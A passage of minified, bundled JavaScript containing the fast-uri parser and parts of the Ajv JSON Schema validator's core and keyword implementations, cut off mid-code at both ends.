0)&&!y.path?x.path="/"+v.path:y.path?x.path=y.path.slice(0,y.path.lastIndexOf("/")+1)+v.path:x.path=v.path,x.path=a(x.path)),x.query=v.query):(x.path=y.path,v.query!==void 0?x.query=v.query:x.query=y.query),x.userinfo=y.userinfo,x.host=y.host,x.port=y.port),x.scheme=y.scheme),x.fragment=v.fragment,x}function d(y,v,_){return typeof y=="string"?(y=unescape(y),y=f(i(p(y,_),!0),{..._,skipEscape:!0})):typeof y=="object"&&(y=f(i(y,!0),{..._,skipEscape:!0})),typeof v=="string"?(v=unescape(v),v=f(i(p(v,_),!0),{..._,skipEscape:!0})):typeof v=="object"&&(v=f(i(v,!0),{..._,skipEscape:!0})),y.toLowerCase()===v.toLowerCase()}function f(y,v){let _={host:y.host,scheme:y.scheme,userinfo:y.userinfo,port:y.port,path:y.path,query:y.query,nid:y.nid,nss:y.nss,uuid:y.uuid,fragment:y.fragment,reference:y.reference,resourceName:y.resourceName,secure:y.secure,error:""},S=Object.assign({},v),x=[],w=o[(S.scheme||_.scheme||"").toLowerCase()];w&&w.serialize&&w.serialize(_,S),_.path!==void 0&&(S.skipEscape?_.path=unescape(_.path):(_.path=escape(_.path),_.scheme!==void 0&&(_.path=_.path.split("%3A").join(":")))),S.reference!=="suffix"&&_.scheme&&x.push(_.scheme,":");let T=s(_);if(T!==void 0&&(S.reference!=="suffix"&&x.push("//"),x.push(T),_.path&&_.path.charAt(0)!=="/"&&x.push("/")),_.path!==void 0){let R=_.path;!S.absolutePath&&(!w||!w.absolutePath)&&(R=a(R)),T===void 0&&(R=R.replace(/^\/\//u,"/%2F")),x.push(R)}return _.query!==void 0&&x.push("?",_.query),_.fragment!==void 0&&x.push("#",_.fragment),x.join("")}var m=Array.from({length:127},(y,v)=>/[^!"$&'()*+,\-.;=_`a-z{}~]/u.test(String.fromCharCode(v)));function g(y){let v=0;for(let _=0,S=y.length;_126||m[v])return!0;return!1}var b=/^(?:([^#/:?]+):)?(?:\/\/((?:([^#/?@]*)@)?(\[[^#/?\]]+\]|[^#/:?]*)(?::(\d*))?))?([^#?]*)(?:\?([^#]*))?(?:#((?:.|[\n\r])*))?/u;function p(y,v){let _=Object.assign({},v),S={scheme:void 0,userinfo:void 0,host:"",port:void 0,path:"",query:void 0,fragment:void 0},x=y.indexOf("%")!==-1,w=!1;_.reference==="suffix"&&(y=(_.scheme?_.scheme+":":"")+"//"+y);let T=y.match(b);if(T){if(S.scheme=T[1],S.userinfo=T[3],S.host=T[4],S.port=parseInt(T[5],10),S.path=T[6]||"",S.query=T[7],S.fragment=T[8],isNaN(S.port)&&(S.port=T[5]),S.host){let A=n(S.host);if(A.isIPV4===!1){let j=r(A.host);S.host=j.host.toLowerCase(),w=j.isIPV6}else S.host=A.host,w=!0}S.scheme===void 0&&S.userinfo===void 0&&S.host===void 0&&S.port===void 0&&S.query===void 0&&!S.path?S.reference="same-document":S.scheme===void 0?S.reference="relative":S.fragment===void 0?S.reference="absolute":S.reference="uri",_.reference&&_.reference!=="suffix"&&_.reference!==S.reference&&(S.error=S.error||"URI is not a "+_.reference+" reference.");let R=o[(_.scheme||S.scheme||"").toLowerCase()];if(!_.unicodeSupport&&(!R||!R.unicodeSupport)&&S.host&&(_.domainHost||R&&R.domainHost)&&w===!1&&g(S.host))try{S.host=URL.domainToASCII(S.host.toLowerCase())}catch(A){S.error=S.error||"Host's domain name can not be converted to ASCII: "+A}(!R||R&&!R.skipNormalize)&&(x&&S.scheme!==void 0&&(S.scheme=unescape(S.scheme)),x&&S.host!==void 0&&(S.host=unescape(S.host)),S.path&&(S.path=escape(unescape(S.path))),S.fragment&&(S.fragment=encodeURI(decodeURIComponent(S.fragment)))),R&&R.parse&&R.parse(S,_)}else S.error=S.error||"URI can not be parsed.";return S}var h={SCHEMES:o,normalize:c,resolve:u,resolveComponents:l,equal:d,serialize:f,parse:p};e.exports=h,e.exports.default=h,e.exports.fastUri=h}),rq=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=q1();e.code='require("ajv/dist/runtime/uri").default',t.default=e}),aq=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.CodeGen=t.Name=t.nil=t.stringify=t.str=t._=t.KeywordCxt=void 0;var e=al();Object.defineProperty(t,"KeywordCxt",{enumerable:!0,get:function(){return e.KeywordCxt}});var r=Be();Object.defineProperty(t,"_",{enumerable:!0,get:function(){return r._}}),Object.defineProperty(t,"str",{enumerable:!0,get:function(){return r.str}}),Object.defineProperty(t,"stringify",{enumerable:!0,get:function(){return r.stringify}}),Object.defineProperty(t,"nil",{enumerable:!0,get:function(){return r.nil}}),Object.defineProperty(t,"Name",{enumerable:!0,get:function(){return r.Name}}),Object.defineProperty(t,"CodeGen",{enumerable:!0,get:function(){return r.CodeGen}});var n=_m(),a=nl(),s=M1(),i=bm(),o=Be(),c=rl(),u=Vu(),l=Xe(),d=Y9(),f=rq(),m=(H,P)=>new RegExp(H,P);m.code="new RegExp";var g=["removeAdditional","useDefaults","coerceTypes"],b=new Set(["validate","serialize","parse","wrapper","root","schema","keyword","pattern","formats","validate$data","func","obj","Error"]),p={errorDataPath:"",format:"`validateFormats: false` can be used instead.",nullable:'"nullable" keyword is supported by default.',jsonPointers:"Deprecated jsPropertySyntax can be used instead.",extendRefs:"Deprecated ignoreKeywordsWithRef can be used instead.",missingRefs:"Pass empty schema with $id that should be ignored to ajv.addSchema.",processCode:"Use option `code: {process: (code, schemaEnv: object) => string}`",sourceCode:"Use option `code: {source: true}`",strictDefaults:"It is default now, see option `strict`.",strictKeywords:"It is default now, see option `strict`.",uniqueItems:'"uniqueItems" keyword is always validated.',unknownFormats:"Disable strict mode or pass `true` to `ajv.addFormat` (or `formats` option).",cache:"Map is used as cache, schema object as key.",serialize:"Map is used as cache, schema object as key.",ajvErrors:"It is default now."},h={ignoreKeywordsWithRef:"",jsPropertySyntax:"",unicode:'"minLength"/"maxLength" account for unicode characters by default.'},y=200;function v(H){var P,L,C,E,k,M,X,Y,de,ie,ve,O,I,z,Z,K,ue,Ce,Me,Ae,Ie,Te,dt,Le,ur;let Bt=H.strict,Ot=(P=H.code)===null||P===void 0?void 0:P.optimize,$r=Ot===!0||Ot===void 0?1:Ot||0,_a=(C=(L=H.code)===null||L===void 0?void 0:L.regExp)!==null&&C!==void 0?C:m,Ln=(E=H.uriResolver)!==null&&E!==void 0?E:f.default;return{strictSchema:(M=(k=H.strictSchema)!==null&&k!==void 0?k:Bt)!==null&&M!==void 0?M:!0,strictNumbers:(Y=(X=H.strictNumbers)!==null&&X!==void 0?X:Bt)!==null&&Y!==void 0?Y:!0,strictTypes:(ie=(de=H.strictTypes)!==null&&de!==void 0?de:Bt)!==null&&ie!==void 0?ie:"log",strictTuples:(O=(ve=H.strictTuples)!==null&&ve!==void 0?ve:Bt)!==null&&O!==void 0?O:"log",strictRequired:(z=(I=H.strictRequired)!==null&&I!==void 0?I:Bt)!==null&&z!==void 0?z:!1,code:H.code?{...H.code,optimize:$r,regExp:_a}:{optimize:$r,regExp:_a},loopRequired:(Z=H.loopRequired)!==null&&Z!==void 0?Z:y,loopEnum:(K=H.loopEnum)!==null&&K!==void 0?K:y,meta:(ue=H.meta)!==null&&ue!==void 0?ue:!0,messages:(Ce=H.messages)!==null&&Ce!==void 0?Ce:!0,inlineRefs:(Me=H.inlineRefs)!==null&&Me!==void 0?Me:!0,schemaId:(Ae=H.schemaId)!==null&&Ae!==void 0?Ae:"$id",addUsedSchema:(Ie=H.addUsedSchema)!==null&&Ie!==void 0?Ie:!0,validateSchema:(Te=H.validateSchema)!==null&&Te!==void 0?Te:!0,validateFormats:(dt=H.validateFormats)!==null&&dt!==void 0?dt:!0,unicodeRegExp:(Le=H.unicodeRegExp)!==null&&Le!==void 0?Le:!0,int32range:(ur=H.int32range)!==null&&ur!==void 0?ur:!0,uriResolver:Ln}}class _{constructor(P={}){this.schemas={},this.refs={},this.formats={},this._compilations=new Set,this._loading={},this._cache=new Map,P=this.opts={...P,...v(P)};let{es5:L,lines:C}=this.opts.code;this.scope=new o.ValueScope({scope:{},prefixes:b,es5:L,lines:C}),this.logger=q(P.logger);let E=P.validateFormats;P.validateFormats=!1,this.RULES=(0,s.getRules)(),S.call(this,p,P,"NOT SUPPORTED"),S.call(this,h,P,"DEPRECATED","warn"),this._metaOpts=A.call(this),P.formats&&T.call(this),this._addVocabularies(),this._addDefaultMetaSchema(),P.keywords&&R.call(this,P.keywords),typeof P.meta=="object"&&this.addMetaSchema(P.meta),w.call(this),P.validateFormats=E}_addVocabularies(){this.addKeyword("$async")}_addDefaultMetaSchema(){let{$data:P,meta:L,schemaId:C}=this.opts,E=d;C==="id"&&(E={...d},E.id=E.$id,delete E.$id),L&&P&&this.addMetaSchema(E,E[C],!1)}defaultMeta(){let{meta:P,schemaId:L}=this.opts;return this.opts.defaultMeta=typeof P=="object"?P[L]||P:void 0}validate(P,L){let C;if(typeof P=="string"){if(C=this.getSchema(P),!C)throw new Error(`no schema with key or ref "${P}"`)}else C=this.compile(P);let E=C(L);return"$async"in C||(this.errors=C.errors),E}compile(P,L){let C=this._addSchema(P,L);return C.validate||this._compileSchemaEnv(C)}compileAsync(P,L){if(typeof this.opts.loadSchema!="function")throw new Error("options.loadSchema should be a function");let{loadSchema:C}=this.opts;return E.call(this,P,L);async function E(ie,ve){await k.call(this,ie.$schema);let O=this._addSchema(ie,ve);return O.validate||M.call(this,O)}async function k(ie){ie&&!this.getSchema(ie)&&await E.call(this,{$ref:ie},!0)}async function M(ie){try{return this._compileSchemaEnv(ie)}catch(ve){if(!(ve instanceof a.default))throw ve;return X.call(this,ve),await Y.call(this,ve.missingSchema),M.call(this,ie)}}function X({missingSchema:ie,missingRef:ve}){if(this.refs[ie])throw new Error(`AnySchema ${ie} is loaded but ${ve} cannot be resolved`)}async function Y(ie){let ve=await de.call(this,ie);this.refs[ie]||await k.call(this,ve.$schema),this.refs[ie]||this.addSchema(ve,ie,L)}async function de(ie){let ve=this._loading[ie];if(ve)return ve;try{return await(this._loading[ie]=C(ie))}finally{delete this._loading[ie]}}}addSchema(P,L,C,E=this.opts.validateSchema){if(Array.isArray(P)){for(let M of P)this.addSchema(M,void 0,C,E);return this}let k;if(typeof P=="object"){let{schemaId:M}=this.opts;if(k=P[M],k!==void 0&&typeof k!="string")throw new Error(`schema ${M} must be string`)}return L=(0,c.normalizeId)(L||k),this._checkUnique(L),this.schemas[L]=this._addSchema(P,C,L,E,!0),this}addMetaSchema(P,L,C=this.opts.validateSchema){return this.addSchema(P,L,!0,C),this}validateSchema(P,L){if(typeof P=="boolean")return!0;let C;if(C=P.$schema,C!==void 0&&typeof C!="string")throw new Error("$schema must be a string");if(C=C||this.opts.defaultMeta||this.defaultMeta(),!C)return this.logger.warn("meta-schema not available"),this.errors=null,!0;let E=this.validate(C,P);if(!E&&L){let k="schema is invalid: "+this.errorsText();if(this.opts.validateSchema==="log")this.logger.error(k);else throw new Error(k)}return E}getSchema(P){let L;for(;typeof(L=x.call(this,P))=="string";)P=L;if(L===void 0){let{schemaId:C}=this.opts,E=new i.SchemaEnv({schema:{},schemaId:C});if(L=i.resolveSchema.call(this,E,P),!L)return;this.refs[P]=L}return L.validate||this._compileSchemaEnv(L)}removeSchema(P){if(P instanceof RegExp)return this._removeAllSchemas(this.schemas,P),this._removeAllSchemas(this.refs,P),this;switch(typeof P){case"undefined":return this._removeAllSchemas(this.schemas),this._removeAllSchemas(this.refs),this._cache.clear(),this;case"string":{let L=x.call(this,P);return typeof L=="object"&&this._cache.delete(L.schema),delete this.schemas[P],delete this.refs[P],this}case"object":{let L=P;this._cache.delete(L);let C=P[this.opts.schemaId];return C&&(C=(0,c.normalizeId)(C),delete this.schemas[C],delete this.refs[C]),this}default:throw new Error("ajv.removeSchema: invalid parameter")}}addVocabulary(P){for(let L of P)this.addKeyword(L);return this}addKeyword(P,L){let C;if(typeof P=="string")C=P,typeof L=="object"&&(this.logger.warn("these parameters are deprecated, see docs for addKeyword"),L.keyword=C);else if(typeof P=="object"&&L===void 0){if(L=P,C=L.keyword,Array.isArray(C)&&!C.length)throw new Error("addKeywords: keyword must be string or non-empty array")}else throw new Error("invalid addKeywords parameters");if(N.call(this,C,L),!L)return(0,l.eachItem)(C,k=>G.call(this,k)),this;ce.call(this,L);let E={...L,type:(0,u.getJSONTypes)(L.type),schemaType:(0,u.getJSONTypes)(L.schemaType)};return(0,l.eachItem)(C,E.type.length===0?k=>G.call(this,k,E):k=>E.type.forEach(M=>G.call(this,k,E,M))),this}getKeyword(P){let L=this.RULES.all[P];return typeof L=="object"?L.definition:!!L}removeKeyword(P){let{RULES:L}=this;delete L.keywords[P],delete L.all[P];for(let C of L.rules){let E=C.rules.findIndex(k=>k.keyword===P);E>=0&&C.rules.splice(E,1)}return this}addFormat(P,L){return typeof L=="string"&&(L=new RegExp(L)),this.formats[P]=L,this}errorsText(P=this.errors,{separator:L=", ",dataVar:C="data"}={}){return!P||P.length===0?"No errors":P.map(E=>`${C}${E.instancePath} ${E.message}`).reduce((E,k)=>E+L+k)}$dataMetaSchema(P,L){let C=this.RULES.all;P=JSON.parse(JSON.stringify(P));for(let E of L){let k=E.split("/").slice(1),M=P;for(let X of k)M=M[X];for(let X in C){let Y=C[X];if(typeof Y!="object")continue;let{$data:de}=Y.definition,ie=M[X];de&&ie&&(M[X]=ne(ie))}}return P}_removeAllSchemas(P,L){for(let C in P){let E=P[C];(!L||L.test(C))&&(typeof E=="string"?delete P[C]:E&&!E.meta&&(this._cache.delete(E.schema),delete P[C]))}}_addSchema(P,L,C,E=this.opts.validateSchema,k=this.opts.addUsedSchema){let M,{schemaId:X}=this.opts;if(typeof P=="object")M=P[X];else{if(this.opts.jtd)throw new Error("schema must be object");if(typeof P!="boolean")throw new Error("schema must be object or boolean")}let Y=this._cache.get(P);if(Y!==void 0)return Y;C=(0,c.normalizeId)(M||C);let de=c.getSchemaRefs.call(this,P,C);return Y=new i.SchemaEnv({schema:P,schemaId:X,meta:L,baseId:C,localRefs:de}),this._cache.set(Y.schema,Y),k&&!C.startsWith("#")&&(C&&this._checkUnique(C),this.refs[C]=Y),E&&this.validateSchema(P,!0),Y}_checkUnique(P){if(this.schemas[P]||this.refs[P])throw new Error(`schema with key or id "${P}" already exists`)}_compileSchemaEnv(P){if(P.meta?this._compileMetaSchema(P):i.compileSchema.call(this,P),!P.validate)throw new Error("ajv implementation error");return P.validate}_compileMetaSchema(P){let L=this.opts;this.opts=this._metaOpts;try{i.compileSchema.call(this,P)}finally{this.opts=L}}}_.ValidationError=n.default,_.MissingRefError=a.default,t.default=_;function S(H,P,L,C="error"){for(let E in H){let k=E;k in P&&this.logger[C](`${L}: option ${E}. ${H[k]}`)}}function x(H){return H=(0,c.normalizeId)(H),this.schemas[H]||this.refs[H]}function w(){let H=this.opts.schemas;if(H)if(Array.isArray(H))this.addSchema(H);else for(let P in H)this.addSchema(H[P],P)}function T(){for(let H in this.opts.formats){let P=this.opts.formats[H];P&&this.addFormat(H,P)}}function R(H){if(Array.isArray(H)){this.addVocabulary(H);return}this.logger.warn("keywords option as map is deprecated, pass array");for(let P in H){let L=H[P];L.keyword||(L.keyword=P),this.addKeyword(L)}}function A(){let H={...this.opts};for(let P of g)delete H[P];return H}var j={log(){},warn(){},error(){}};function q(H){if(H===!1)return j;if(H===void 0)return console;if(H.log&&H.warn&&H.error)return H;throw new Error("logger must implement log, warn and error methods")}var U=/^[a-z_$][a-z0-9_$:-]*$/i;function N(H,P){let{RULES:L}=this;if((0,l.eachItem)(H,C=>{if(L.keywords[C])throw new Error(`Keyword ${C} is already defined`);if(!U.test(C))throw new Error(`Keyword ${C} has invalid name`)}),!!P&&P.$data&&!("code"in P||"validate"in P))throw new Error('$data keyword must have "code" or "validate" function')}function G(H,P,L){var C;let E=P?.post;if(L&&E)throw new Error('keyword with "post" flag cannot have "type"');let{RULES:k}=this,M=E?k.post:k.rules.find(({type:Y})=>Y===L);if(M||(M={type:L,rules:[]},k.rules.push(M)),k.keywords[H]=!0,!P)return;let X={keyword:H,definition:{...P,type:(0,u.getJSONTypes)(P.type),schemaType:(0,u.getJSONTypes)(P.schemaType)}};P.before?te.call(this,M,X,P.before):M.rules.push(X),k.all[H]=X,(C=P.implements)===null||C===void 0||C.forEach(Y=>this.addKeyword(Y))}function te(H,P,L){let C=H.rules.findIndex(E=>E.keyword===L);C>=0?H.rules.splice(C,0,P):(H.rules.push(P),this.logger.warn(`rule ${L} is not defined`))}function ce(H){let{metaSchema:P}=H;P!==void 0&&(H.$data&&this.opts.$data&&(P=ne(P)),H.validateSchema=this.compile(P,!0))}var le={$ref:"https://raw.githubusercontent.com/ajv-validator/ajv/master/lib/refs/data.json#"};function ne(H){return{anyOf:[H,le]}}}),nq=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e={keyword:"id",code(){throw new Error('NOT SUPPORTED: keyword "id", use "$id" for schema ID')}};t.default=e}),sq=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.callRef=t.getValidate=void 0;var e=nl(),r=Dr(),n=Be(),a=Ua(),s=bm(),i=Xe(),o={keyword:"$ref",schemaType:"string",code(l){let{gen:d,schema:f,it:m}=l,{baseId:g,schemaEnv:b,validateName:p,opts:h,self:y}=m,{root:v}=b;if((f==="#"||f==="#/")&&g===v.baseId)return S();let _=s.resolveRef.call(y,v,g,f);if(_===void 0)throw new e.default(m.opts.uriResolver,g,f);if(_ instanceof s.SchemaEnv)return x(_);return w(_);function S(){if(b===v)return u(l,p,b,b.$async);let T=d.scopeValue("root",{ref:v});return u(l,(0,n._)`${T}.validate`,v,v.$async)}function x(T){let R=c(l,T);u(l,R,T,T.$async)}function w(T){let R=d.scopeValue("schema",h.code.source===!0?{ref:T,code:(0,n.stringify)(T)}:{ref:T}),A=d.name("valid"),j=l.subschema({schema:T,dataTypes:[],schemaPath:n.nil,topSchemaRef:R,errSchemaPath:f},A);l.mergeEvaluated(j),l.ok(A)}}};function c(l,d){let{gen:f}=l;return d.validate?f.scopeValue("validate",{ref:d.validate}):(0,n._)`${f.scopeValue("wrapper",{ref:d})}.validate`}t.getValidate=c;function u(l,d,f,m){let{gen:g,it:b}=l,{allErrors:p,schemaEnv:h,opts:y}=b,v=y.passContext?a.default.this:n.nil;m?_():S();function _(){if(!h.$async)throw new Error("async schema referenced by sync schema");let T=g.let("valid");g.try(()=>{g.code((0,n._)`await ${(0,r.callValidateCode)(l,d,v)}`),w(d),p||g.assign(T,!0)},R=>{g.if((0,n._)`!(${R} instanceof ${b.ValidationError})`,()=>g.throw(R)),x(R),p||g.assign(T,!1)}),l.ok(T)}function S(){l.result((0,r.callValidateCode)(l,d,v),()=>w(d),()=>x(d))}function x(T){let R=(0,n._)`${T}.errors`;g.assign(a.default.vErrors,(0,n._)`${a.default.vErrors} === null ? ${R} : ${a.default.vErrors}.concat(${R})`),g.assign(a.default.errors,(0,n._)`${a.default.vErrors}.length`)}function w(T){var R;if(!b.opts.unevaluated)return;let A=(R=f?.validate)===null||R===void 0?void 0:R.evaluated;if(b.props!==!0)if(A&&!A.dynamicProps)A.props!==void 0&&(b.props=i.mergeEvaluated.props(g,A.props,b.props));else{let j=g.var("props",(0,n._)`${T}.evaluated.props`);b.props=i.mergeEvaluated.props(g,j,b.props,n.Name)}if(b.items!==!0)if(A&&!A.dynamicItems)A.items!==void 0&&(b.items=i.mergeEvaluated.items(g,A.items,b.items));else{let j=g.var("items",(0,n._)`${T}.evaluated.items`);b.items=i.mergeEvaluated.items(g,j,b.items,n.Name)}}}t.callRef=u,t.default=o}),iq=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=nq(),r=sq(),n=["$schema","$id","$defs","$vocabulary",{keyword:"$comment"},"definitions",e.default,r.default];t.default=n}),oq=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Be(),r=e.operators,n={maximum:{okStr:"<=",ok:r.LTE,fail:r.GT},minimum:{okStr:">=",ok:r.GTE,fail:r.LT},exclusiveMaximum:{okStr:"<",ok:r.LT,fail:r.GTE},exclusiveMinimum:{okStr:">",ok:r.GT,fail:r.LTE}},a={message:({keyword:i,schemaCode:o})=>(0,e.str)`must be ${n[i].okStr} ${o}`,params:({keyword:i,schemaCode:o})=>(0,e._)`{comparison: ${n[i].okStr}, limit: ${o}}`},s={keyword:Object.keys(n),type:"number",schemaType:"number",$data:!0,error:a,code(i){let{keyword:o,data:c,schemaCode:u}=i;i.fail$data((0,e._)`${c} ${n[o].fail} ${u} || isNaN(${c})`)}};t.default=s}),cq=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Be(),r={message:({schemaCode:a})=>(0,e.str)`must be multiple of ${a}`,params:({schemaCode:a})=>(0,e._)`{multipleOf: ${a}}`},n={keyword:"multipleOf",type:"number",schemaType:"number",$data:!0,error:r,code(a){let{gen:s,data:i,schemaCode:o,it:c}=a,u=c.opts.multipleOfPrecision,l=s.let("res"),d=u?(0,e._)`Math.abs(Math.round(${l}) - ${l}) > 1e-${u}`:(0,e._)`${l} !== parseInt(${l})`;a.fail$data((0,e._)`(${o} === 0 || (${l} = ${i}/${o}, ${d}))`)}};t.default=n}),uq=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});function e(r){let n=r.length,a=0,s=0,i;for(;s=55296&&i<=56319&&s{Object.defineProperty(t,"__esModule",{value:!0});var e=Be(),r=Xe(),n=uq(),a={message({keyword:i,schemaCode:o}){let c=i==="maxLength"?"more":"fewer";return(0,e.str)`must NOT have ${c} than ${o} characters`},params:({schemaCode:i})=>(0,e._)`{limit: ${i}}`},s={keyword:["maxLength","minLength"],type:"string",schemaType:"number",$data:!0,error:a,code(i){let{keyword:o,data:c,schemaCode:u,it:l}=i,d=o==="maxLength"?e.operators.GT:e.operators.LT,f=l.opts.unicode===!1?(0,e._)`${c}.length`:(0,e._)`${(0,r.useFunc)(i.gen,n.default)}(${c})`;i.fail$data((0,e._)`${f} ${d} ${u}`)}};t.default=s}),dq=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Dr(),r=Be(),n={message:({schemaCode:s})=>(0,r.str)`must match pattern "${s}"`,params:({schemaCode:s})=>(0,r._)`{pattern: ${s}}`},a={keyword:"pattern",type:"string",schemaType:"string",$data:!0,error:n,code(s){let{data:i,$data:o,schema:c,schemaCode:u,it:l}=s,d=l.opts.unicodeRegExp?"u":"",f=o?(0,r._)`(new RegExp(${u}, ${d}))`:(0,e.usePattern)(s,c);s.fail$data((0,r._)`!${f}.test(${i})`)}};t.default=a}),pq=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Be(),r={message({keyword:a,schemaCode:s}){let i=a==="maxProperties"?"more":"fewer";return(0,e.str)`must NOT have ${i} than ${s} properties`},params:({schemaCode:a})=>(0,e._)`{limit: ${a}}`},n={keyword:["maxProperties","minProperties"],type:"object",schemaType:"number",$data:!0,error:r,code(a){let{keyword:s,data:i,schemaCode:o}=a,c=s==="maxProperties"?e.operators.GT:e.operators.LT;a.fail$data((0,e._)`Object.keys(${i}).length ${c} ${o}`)}};t.default=n}),fq=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Dr(),r=Be(),n=Xe(),a={message:({params:{missingProperty:i}})=>(0,r.str)`must have required property '${i}'`,params:({params:{missingProperty:i}})=>(0,r._)`{missingProperty: ${i}}`},s={keyword:"required",type:"object",schemaType:"array",$data:!0,error:a,code(i){let{gen:o,schema:c,schemaCode:u,data:l,$data:d,it:f}=i,{opts:m}=f;if(!d&&c.length===0)return;let g=c.length>=m.loopRequired;if(f.allErrors?b():p(),m.strictRequired){let v=i.parentSchema.properties,{definedProperties:_}=i.it;for(let S of c)if(v?.[S]===void 0&&!_.has(S)){let x=f.schemaEnv.baseId+f.errSchemaPath,w=`required property "${S}" is not defined at "${x}" (strictRequired)`;(0,n.checkStrictMode)(f,w,f.opts.strictRequired)}}function b(){if(g||d)i.block$data(r.nil,h);else for(let v of c)(0,e.checkReportMissingProp)(i,v)}function p(){let v=o.let("missing");if(g||d){let _=o.let("valid",!0);i.block$data(_,()=>y(v,_)),i.ok(_)}else o.if((0,e.checkMissingProp)(i,c,v)),(0,e.reportMissingProp)(i,v),o.else()}function h(){o.forOf("prop",u,v=>{i.setParams({missingProperty:v}),o.if((0,e.noPropertyInData)(o,l,v,m.ownProperties),()=>i.error())})}function y(v,_){i.setParams({missingProperty:v}),o.forOf(v,u,()=>{o.assign(_,(0,e.propertyInData)(o,l,v,m.ownProperties)),o.if((0,r.not)(_),()=>{i.error(),o.break()})},r.nil)}}};t.default=s}),mq=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Be(),r={message({keyword:a,schemaCode:s}){let i=a==="maxItems"?"more":"fewer";return(0,e.str)`must NOT have ${i} than ${s} items`},params:({schemaCode:a})=>(0,e._)`{limit: ${a}}`},n={keyword:["maxItems","minItems"],type:"array",schemaType:"number",$data:!0,error:r,code(a){let{keyword:s,data:i,schemaCode:o}=a,c=s==="maxItems"?e.operators.GT:e.operators.LT;a.fail$data((0,e._)`${i}.length ${c} ${o}`)}};t.default=n}),xm=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=tl();e.code='require("ajv/dist/runtime/equal").default',t.default=e}),hq=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Vu(),r=Be(),n=Xe(),a=xm(),s={message:({params:{i:o,j:c}})=>(0,r.str)`must NOT have duplicate items (items ## ${c} and ${o} are identical)`,params:({params:{i:o,j:c}})=>(0,r._)`{i: ${o}, j: ${c}}`},i={keyword:"uniqueItems",type:"array",schemaType:"boolean",$data:!0,error:s,code(o){let{gen:c,data:u,$data:l,schema:d,parentSchema:f,schemaCode:m,it:g}=o;if(!l&&!d)return;let b=c.let("valid"),p=f.items?(0,e.getSchemaTypes)(f.items):[];o.block$data(b,h,(0,r._)`${m} === false`),o.ok(b);function h(){let S=c.let("i",(0,r._)`${u}.length`),x=c.let("j");o.setParams({i:S,j:x}),c.assign(b,!0),c.if((0,r._)`${S} > 1`,()=>(y()?v:_)(S,x))}function y(){return p.length>0&&!p.some(S=>S==="object"||S==="array")}function v(S,x){let w=c.name("item"),T=(0,e.checkDataTypes)(p,w,g.opts.strictNumbers,e.DataType.Wrong),R=c.const("indices",(0,r._)`{}`);c.for((0,r._)`;${S}--;`,()=>{c.let(w,(0,r._)`${u}[${S}]`),c.if(T,(0,r._)`continue`),p.length>1&&c.if((0,r._)`typeof ${w} == "string"`,(0,r._)`${w} += "_"`),c.if((0,r._)`typeof ${R}[${w}] == "number"`,()=>{c.assign(x,(0,r._)`${R}[${w}]`),o.error(),c.assign(b,!1).break()}).code((0,r._)`${R}[${w}] = ${S}`)})}function _(S,x){let w=(0,n.useFunc)(c,a.default),T=c.name("outer");c.label(T).for((0,r._)`;${S}--;`,()=>c.for((0,r._)`${x} = ${S}; ${x}--;`,()=>c.if((0,r._)`${w}(${u}[${S}], ${u}[${x}])`,()=>{o.error(),c.assign(b,!1).break(T)})))}}};t.default=i}),vq=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Be(),r=Xe(),n=xm(),a={message:"must be equal to constant",params:({schemaCode:i})=>(0,e._)`{allowedValue: ${i}}`},s={keyword:"const",$data:!0,error:a,code(i){let{gen:o,data:c,$data:u,schemaCode:l,schema:d}=i;u||d&&typeof d=="object"?i.fail$data((0,e._)`!${(0,r.useFunc)(o,n.default)}(${c}, ${l})`):i.fail((0,e._)`${d} !== ${c}`)}};t.default=s}),gq=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Be(),r=Xe(),n=xm(),a={message:"must be equal to one of the allowed values",params:({schemaCode:i})=>(0,e._)`{allowedValues: ${i}}`},s={keyword:"enum",schemaType:"array",$data:!0,error:a,code(i){let{gen:o,data:c,$data:u,schema:l,schemaCode:d,it:f}=i;if(!u&&l.length===0)throw new Error("enum must have non-empty array");let m=l.length>=f.opts.loopEnum,g,b=()=>g??(g=(0,r.useFunc)(o,n.default)),p;if(m||u)p=o.let("valid"),i.block$data(p,h);else{if(!Array.isArray(l))throw new Error("ajv implementation error");let v=o.const("vSchema",d);p=(0,e.or)(...l.map((_,S)=>y(v,S)))}i.pass(p);function h(){o.assign(p,!1),o.forOf("v",d,v=>o.if((0,e._)`${b()}(${c}, ${v})`,()=>o.assign(p,!0).break()))}function y(v,_){let S=l[_];return typeof S=="object"&&S!==null?(0,e._)`${b()}(${c}, ${v}[${_}])`:(0,e._)`${c} === ${S}`}}};t.default=s}),yq=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=oq(),r=cq(),n=lq(),a=dq(),s=pq(),i=fq(),o=mq(),c=hq(),u=vq(),l=gq(),d=[e.default,r.default,n.default,a.default,s.default,i.default,o.default,c.default,{keyword:"type",schemaType:["string","array"]},{keyword:"nullable",schemaType:"boolean"},u.default,l.default];t.default=d}),L1=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.validateAdditionalItems=void 0;var e=Be(),r=Xe(),n={message:({params:{len:i}})=>(0,e.str)`must NOT have more than ${i} items`,params:({params:{len:i}})=>(0,e._)`{limit: ${i}}`},a={keyword:"additionalItems",type:"array",schemaType:["boolean","object"],before:"uniqueItems",error:n,code(i){let{parentSchema:o,it:c}=i,{items:u}=o;if(!Array.isArray(u)){(0,r.checkStrictMode)(c,'"additionalItems" is ignored when "items" is not an array of schemas');return}s(i,u)}};function s(i,o){let{gen:c,schema:u,data:l,keyword:d,it:f}=i;f.items=!0;let m=c.const("len",(0,e._)`${l}.length`);if(u===!1)i.setParams({len:o.length}),i.pass((0,e._)`${m} <= ${o.length}`);else if(typeof 